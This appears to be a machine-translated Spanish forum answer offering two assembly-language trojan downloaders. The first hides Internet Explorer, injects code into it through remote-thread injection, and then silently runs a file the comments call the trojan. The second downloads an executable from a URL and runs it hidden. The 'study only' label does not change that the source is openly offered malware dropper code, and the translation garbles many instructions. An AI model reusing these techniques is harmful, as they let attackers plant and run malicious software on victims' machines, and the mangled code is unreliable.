¿Quién puede proporcionar un código de descarga de ensamblado?
;¿Descargador de pared SPY32-3K?
;/?
;¿Solo para estudio e investigación?
. 386?
.model flat, stdcall?
opción casemap: ninguno
¿Se utilizan los siguientes archivos de biblioteca?
incluir .. /include/user32.inc?
includelib ../lib/user32.lib?
incluir ../include/kernel32.inc?
includelib ./lib/kernel32.lib?
include ../include/windows.inc
.data ?
tit db 'IEFrame' , 0; ¿tipo de ventana de IE?
szBuffer dd 20 dup(0), 0?
pid dd 0?
hProcess dd 0; /p >
hThread dd 0; ¿Identificador de hilo?
pCodeRemote dd 0?
path1 db 'c:\xjj.EXE', 0; ¿el troyano?
p>sysPath db MAX_PATH dup (?) ; ¿Ruta del sistema?
.const ?
szmsg db 'URLDownloadToFileA', 0 ; ¿descargar archivos?
userdll db 'Urlmon.dll', 0; ¿se utilizó la biblioteca de vínculos dinámicos?
szloadlib db 'LoadLibraryA', 0; ¿Función para cargar la biblioteca de vínculos dinámicos?
>kerdll db 'kernel32.dll', 0; ¿se utilizó una biblioteca de vínculos dinámicos?
base de datos en blanco '\..\Progra~1\Intern~1\IEXPLORE.EXE acerca de: en blanco', 0 ; esta sección La letra de la unidad del sistema debe agregarse delante de la cadena, principalmente porque algunos sistemas están instalados en una unidad distinta de la unidad C. Tenga en cuenta que about: ¿el espacio en blanco es indispensable porque IE necesita abrir una página en blanco? >
.code ?
codebegin: ?
dispdata db "####################### ### ###################################", 0 ;Escriba aquí la dirección del caballo de Troya en el futuro?
szTit db "c:\\xjj.exe", 0; ¿La dirección donde se debe guardar el troyano?
datalen =$-codebegin?
Rproc proc msgbox; ¿La dirección de MessageBoxA es un parámetro?
CALL @F; push esi?
@@:?
<p>POP EBX ?
SUB EBX, OFFSET @B ?
LEA ECX, [EBX dispdata] ?
LEA EDX, [EBX szTit] ?
¿empujar NULL?
empujar 0?
empujar edx?
empujar ecx?
empujar NULL?
¿llamar a msgbox?
ret ?
Rproc endp ?
codelen =$-codebegin ¿longitud del código en bytes?
; /////////////////////////////////////////////// // ///////////////////////////////?
inicio:
¿invocar GetWindowsDirectory, addr sysPath, Sizeof sysPath; llamar a GetWindowsDirectory para obtener el disco del sistema?
¿invocar lstrcat, compensar sysPath, compensar en blanco; llamar a lstrcat para conectar la letra de unidad del sistema y la variable en blanco?
invocar WinExec, addr sysPath, SW_HIDE; ¿Llamar a WinExec para ejecutar IE en modo oculto?
invocar FindWindow, offset tit, 0; ¿Devolver el identificador de ventana de IE?
invocar GetWindowThreadProcessId; , eax, offset pid; ¿Obtener el PID del proceso de IE?
invocar OpenProcess, PROCESS_ALL_ACCESS, FALSE, pid; ¿abrir el proceso y obtener el identificador del proceso?
mov hProcess, eax; ¿el identificador del proceso?
¿invocar VirtualAllocEx, hProcess, 0, codelen, MEM_COMMIT, PAGE_EXECUTE_READWRITE; solicitar espacio en el proceso de IE?
mov pCodeRemote, eax?
invocar WriteProcessMemory, hProcess, pCodeRemote, offset codebegin, codelen, NULL; ¿escribir código insertado
mov esi, pCodeRemote?
¿agregar esi, datalen?
¿push esi?
invocar LoadLibrary, compensar userdll; cargar Urlmon.dll?
invocar GetProcAddress, eax, offs
et szmsg; ¿Obtener dirección?
pop esi?
invocar CreateRemoteThread, hProcess, 0, 0, esi, eax, 0, 0; >mov hThread, eax; ¿devuelve el identificador del hilo?
.if hThread?
invocar WaitForSingleObject, hThread, INFINITE ¿esperar a que finalice el hilo?
invocar; CloseHandle, hThread ;¿Cerrar identificador de hilo?
.endif?
invocar VirtualFreeEx, hProcess, pCodeRemote, codelen, MEM_RELEASE
¿invocar TerminateProcess, hProcess? , 0?
¿invocar WinExec, desplazar ruta1, SW_HIDE; ejecutar troyano?
¿invocar ExitProcess, 0?
¿finalizar inicio?
--- ----------------------------------------------- --- ----------------------------------------------- --- ----------------
Allen_HW
Red de referencia de código
.386
.model flat, stdcall
mapa de casos de opciones: ninguno
;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt ;gt; gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt ;gt; gt;gt;gt;gt;
;incluye
;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt; gt;gt ;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;
incluir windows.inc
incluir kernel32.inc
incluirlib kernel32.lib
.data
szURL db 'http ://localhost/allen_hw.exe',0
szPath db 'c:\1.exe',0
;gt;gt;gt;gt;gt ;gt; gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt;gt ;gt; gt;gt;gt;gt;gt;Allen_HW Nota: szURL y szPath son la dirección y la dirección de almacenamiento del archivo descargado respectivamente.
Dirección guardada
.code
inicio:
call loadlib
db 'urlmon', 0
loadlib :
llamar a LoadLibraryA
agregar eax, 5B147h
presionar NULL
presionar NULL
presionar offset szPath
empujar offset szURL
empujar NULL
llamar a eax
invocar WinExec, compensar szPath, 0
invocar ExitProcess , NULL
fin inicio
-------------------------------- ----------------------------------